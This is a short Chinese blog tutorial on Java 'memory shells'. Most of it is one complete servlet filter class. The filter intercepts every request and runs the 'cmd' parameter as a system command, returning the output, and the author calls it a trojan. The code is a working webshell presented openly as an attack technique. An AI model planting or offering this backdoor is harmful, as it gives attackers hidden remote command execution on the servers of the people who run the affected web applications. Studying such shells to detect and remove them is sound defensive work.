Java内存马基础

朴灿烈づ我的快乐病毒、 2024-05-23 14:13 49阅读 0赞

### Java过滤器内存马 ###

首先过滤器，顾名思义就是过滤用的；  
![在这里插入图片描述][83bffe47020742e0a0fc289c7eff7b1c.png]  
首先设置要过滤的目录或文件，当我们访问该目录中的文件时都会经过过滤器；如果我们将webshell代码放到过滤器中，那么只要我们的访问经过过滤器都可以出发木马。  
下面是一个最基本的filter内存马：

package filter;
    
    import javax.servlet.*;
    import javax.servlet.annotation.WebFilter;
    import java.io.BufferedReader;
    import java.io.IOException;
    import java.io.InputStream;
    import java.io.InputStreamReader;
    //设置过滤所有请求
    @WebFilter(urlPatterns = "/*")
    public class firstFilter implements Filter {
        
        public void destroy() {
        
        }
    
        public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws ServletException, IOException {
        
            System.out.println("这是过滤器！！！");
            //cmd：触发参数
            if (req.getParameter("cmd")!=null){
        
            //一句话木马
                Process process = Runtime.getRuntime().exec(req.getParameter("cmd"));
                BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
                String line;
                while ((line = bufferedReader.readLine())!=null){
        
                    resp.getWriter().println(line);
                }
                resp.getWriter().flush();
            }
            chain.doFilter(req,resp);
        }
    
        public void init(FilterConfig config) throws ServletException {
        
    
        }
    
    }

![在这里插入图片描述][edd3157cf2594d7c8f1bae88eec6cce7.png]  
总结：  
当过滤器的目录为/\*时我们即使访问不存在文件也会成功执行。  
![在这里插入图片描述][2c3a3f1f97b3428396599913ffeb1797.png]

[83bffe47020742e0a0fc289c7eff7b1c.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/bc2a3ec973384b49bb04ab4ad971bda6.png
[edd3157cf2594d7c8f1bae88eec6cce7.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/8bddcfff4f174754b53667c8ce7588b2.png
[2c3a3f1f97b3428396599913ffeb1797.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/2cd2afd275ef49659a757e4b92226830.png